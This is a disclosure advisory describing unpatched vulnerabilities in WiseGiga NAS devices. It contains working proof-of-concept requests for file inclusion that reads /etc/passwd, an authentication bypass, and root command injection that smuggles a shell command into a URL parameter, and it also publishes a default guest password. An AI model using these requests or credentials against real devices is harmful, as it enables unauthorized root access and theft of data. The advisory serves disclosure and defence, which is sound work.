

SSD Advisory – WiseGiga NAS Multiple Vulnerabilities

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Vulnerabilities summary

The following advisory describes five (5) vulnerabilities and default accounts / passwords found in WiseGiga NAS devices.

WiseGiga is a Korean company selling NAS products.

The vulnerabilities found in WiseGiga NAS are:

- Pre-Authentication Local File Inclusion (4 different vulnerabilities)
- Post-Authentication Local File Inclusion
- Remote Command Execution as root
- Remote Command Execution as root with CSRF
- Info Leak
- Default accounts

Credit

An independent security researcher, Pierre Kim, has reported this vulnerability to Beyond Security's SecuriTeam Secure Disclosure program

Vendor response

We tried to contact WiseGiga since June 2017, repeated attempts to establish contact went unanswered. At this time there is no solution or workaround for these vulnerabilities.

Vulnerabilities details

Pre-Authentication Local File Inclusion

User controlled input is not sufficiently sanitized and can be exploit by an attacker to get sensitive information (for example, passwords).

By sending GET request to the following URI's with *filename=* as a parameter, an attacker can trigger the vulnerabilities:

- /webfolder/download_file1.php
- down_data.php
- download_file.php
- mobile/download_file1.php

Proof of Concept

- 1 `http://IP/webfolder/download_file1.php?filename=/etc/passwd`
- 2 `http://IP/down_data.php?filename=/etc/passwd`
- 3 `http://IP/download_file.php?filename=base64(/etc/passwd)`
- 4 `http://IP/mobile/download_file1.php?filename=base64(/etc/passwd)`

Post-Authentication Local File Inclusion

User controlled input is not sufficiently sanitized and can be exploit by an attacker to get sensitive information (for

example, passwords).

By sending GET request to `/mobile/download_file2.php` an attacker can trigger the vulnerability.

Proof of Concept

```
1 http://IP//mobile/download_file2.php?filename=base64(/etc/passwd)
```

Remote Command Execution as root

The WiseGiga NAS firmware contain *pre.php* files in the different directories.

For example:

```
1 /app_data/apache/htdocs/auto/pre.php
2 /app_data/apache/htdocs/admin/iframe/pre.php
3 /app_data/apache/htdocs/admin/pre.php
4 /app_data/apache/htdocs/mobile/pre.php
5 /app_data/apache/htdocs/wiseapp/config/pre.php
6 /app_data/apache/htdocs/pre.php
7 /home/htdocs/webfolder/pre.php
8 /ub/update/init/pre.php
9 /tmp/home/root/htdocs/auto/pre.php
10 /tmp/home/root/htdocs/pre.php
```

A “standard” *pre.php* contains:

```

1 181 [...]
2 182 function auth()
3 183 {
4 184 global $memberid;
5 185 session_start();
6 186 //echo $memberid;
7 187 if($memberid=="root")
8 188 {
9 189 // print<<<__DATA_OF_HTML__
10 190 //<script language="JavaScript">
11 191 // alert("sucess !");
12 192 //</script>
13 193 //__DATA_OF_HTML__;
14 194 }
15 195 else
16 196 {
17 197 print<<<__DATA_OF_HTML__
18 198 <script language="JavaScript">
19 199 alert("\xc0\xce\xc1\xf5\xb9\xde\xc1\xf6 \xbe\xca\xc0\xba
20 \xbb\xe7\xbf\xeb\xc0\xda\xc0\xd4\xb4\xcf\xb4\xd9!");
21 200 // location.href="/admin/";
22 201 window.open('index.php','_parent');
23 202 exit;
24 203 </script>
25 204 __DATA_OF_HTML__;
26 205 }
27 206
207 }

```

Using global *\$memberid* (line 184), the attacker can override the authentication, by specifying a valid user ("root") inside the HTTP request:

```
1 GET /webpage[...]?memberid=root&[...] HTTP/1.0
```

The *pre.php* files also contains a function called *root_exec_cmd()* that is a wrapper to *popen()*:

```

1 23 function root_exec_cmd($cmd)
2 24 {
3 25     $tmpfile=fopen("/tmp/ramdisk/cmd.list","w");
4 26     fwrite($tmpfile,$cmd);
5 27     fclose($tmpfile);
6 28     popen("/tmp/ramdisk/ramush","r");
7 29 }

```

By sending a *GET* request to *root_exec_cmd()* with user controlled *\$cmd* variable input an attacker can execute arbitrary commands

The WiseGiga NAS run's the Apache server as root (uid=0 with gid=48 "apache") hence the commands will execute as root.

Proof of Concept

By sending GET request to `/admin/group.php` with parameter `?cmd=add` the WiseGiga NAS will call the `add_system()` function:

```

1 178 if($cmd == "add")
2 179 {
3 180     add_system();
4 181 }

```

The `add_system()` function uses global for `$group_name` and `$user_data`.

Then it will pass the user controlled input and will run it as root:

```

1 145 function add_system()
2 146 {
3 147     global $group_name,$user_data;
4 148
5 149     if(add_conf()==1)
6 150     {
7 151
8 //=====
152     root_exec_cmd("addgroup $group_name");

```

An attacker can get unauthenticated RCE as root by sending the following request:

```
1 http://IP/admin/group.php?memberid=root&cmd=add&group_name=d;id%20>%20/tmp/a
```

The file `/tmp/a` will contain:

```
1 uid=0(root) gid=48(apache) groups=48(apache)
```

Remote Command Execution as root with CSRF

There is no CSRF protection in WiseGiga NAS.

An attacker can force the execution of a command as root when the victim visits the malicious website.

Proof of Concept

Once the victim visit the attacker's website with the following code, the attacker can execute arbitrary commands.

```

1 

```

InfoLeak

accessing `http://IP/webfolder/config/config.php` will disclose the PHP configuration.

Default accounts

Username: guest

Password: guest09#\$\$